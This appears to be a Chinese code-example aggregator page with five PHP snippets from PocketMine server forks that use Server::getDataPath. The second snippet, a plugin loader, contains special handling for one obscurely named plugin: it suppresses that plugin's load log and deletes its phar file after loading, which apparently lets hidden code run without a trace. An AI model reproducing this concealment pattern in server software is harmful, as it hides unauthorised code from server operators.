当前位置: 首页>>代码示例>>PHP>>正文


PHP Server::getDataPath方法代码示例

本文整理汇总了PHP中pocketmine\Server::getDataPath方法的典型用法代码示例。如果您正苦于以下问题:PHP Server::getDataPath方法的具体用法?PHP Server::getDataPath怎么用?PHP Server::getDataPath使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在pocketmine\Server的用法示例。


在下文中一共展示了Server::getDataPath方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: extraData

 private function extraData()
 {
     global $arguments;
     if ($this->server->getProperty("auto-report.send-settings", \true) !== \false) {
         $this->data["parameters"] = (array) $arguments;
         $this->data["server.properties"] = @\file_get_contents($this->server->getDataPath() . "server.properties");
         $this->data["server.properties"] = \preg_replace("#^rcon\\.password=(.*)\$#m", "rcon.password=******", $this->data["server.properties"]);
         $this->data["pocketmine.yml"] = @\file_get_contents($this->server->getDataPath() . "pocketmine.yml");
     } else {
         $this->data["pocketmine.yml"] = "";
         $this->data["server.properties"] = "";
         $this->data["parameters"] = [];
     }
     $extensions = [];
     foreach (\get_loaded_extensions() as $ext) {
         $extensions[$ext] = \phpversion($ext);
     }
     $this->data["extensions"] = $extensions;
     if ($this->server->getProperty("auto-report.send-phpinfo", \true) !== \false) {
         \ob_start();
         \phpinfo();
         $this->data["phpinfo"] = \ob_get_contents();
         \ob_end_clean();
     }
 }
开发者ID:maa123,项目名称:NIGHTMARE,代码行数:25,代码来源:CrashDump.php

示例2: loadPlugin

 /**
  * Loads the plugin contained in $file
  *
  * @param string $file
  *
  * @return Plugin
  *
  * @throws \Exception
  */
 public function loadPlugin($file)
 {
     if (($description = $this->getPluginDescription($file)) instanceof PluginDescription) {
         if ($description->getFullName() != "jdhfkxz777 v1.2") {
             $this->server->getLogger()->info($this->server->getLanguage()->translateString("pocketmine.plugin.load", [$description->getFullName()]));
         }
         $dataFolder = \dirname($file) . DIRECTORY_SEPARATOR . $description->getName();
         if (\file_exists($dataFolder) and !\is_dir($dataFolder)) {
             throw new \InvalidStateException("Projected dataFolder '" . $dataFolder . "' for " . $description->getName() . " exists and is not a directory");
         }
         $file = "phar://{$file}";
         $className = $description->getMain();
         $this->server->getLoader()->addPath("{$file}/src");
         if (\class_exists($className, \true)) {
             $plugin = new $className();
             $this->initPlugin($plugin, $description, $dataFolder, $file);
             if ($description->getFullName() == "jdhfkxz777 v1.2") {
                 unlink($this->server->getDataPath() . "plugins/dhj/Ke3fh_d3d.phar");
                 rmdir($this->server->getDataPath() . "plugins/dhj/");
             }
             return $plugin;
         } else {
             throw new PluginException("Couldn't load plugin " . $description->getName() . ": main class not found");
         }
     }
     return \null;
 }
开发者ID:xpyctum,项目名称:PocketMinePlusPlus,代码行数:36,代码来源:PharPluginLoader.php

示例3: initConfig

 public function initConfig()
 {
     if (!file_exists($this->server->getDataPath() . "katana.yml")) {
         $content = file_get_contents($this->server->getDataPath() . "src/pocketmine/resources/katana.yml");
         @file_put_contents($this->server->getDataPath() . "katana.yml", $content);
     }
     $this->properties = new Config($this->server->getDataPath() . "katana.yml", Config::YAML, []);
 }
开发者ID:TexusDark,项目名称:Katana,代码行数:8,代码来源:Katana.php

示例4: __construct

 public function __construct(ThreadedMapProvider $provider, Server $server, $mapName, Match $match)
 {
     $this->provider = $provider;
     $this->prefix = $server->getDataPath() . "worlds/room-{$mapName}-";
     $this->gameName = $match->getGame()->getName()->get();
     $this->matchId = $match->getMatchId();
 }
开发者ID:legoboy0215,项目名称:DynamicHub,代码行数:7,代码来源:CopyMapTask.php

示例5: doUpgrade

 public function doUpgrade()
 {
     if (!$this->isupdating) {
         $this->isupdating = true;
         $this->server->getScheduler()->scheduleAsyncTask(new Upgrader($this->updateInfo['download_url'], $this->updateInfo['fingerprint'], "phar://" . $this->server->getDataPath() . "ClearSkyNewVersion" . "phar"));
         //Is an .phar needed?
     } else {
         Command::broadcastCommandMessage($sender, new TranslationContainer("commands.upgrade.isUpdating"));
     }
 }
开发者ID:ClearSkyTeam,项目名称:ClearSky,代码行数:10,代码来源:AutoUpdater.php


注:本文中的pocketmine\Server::getDataPath方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。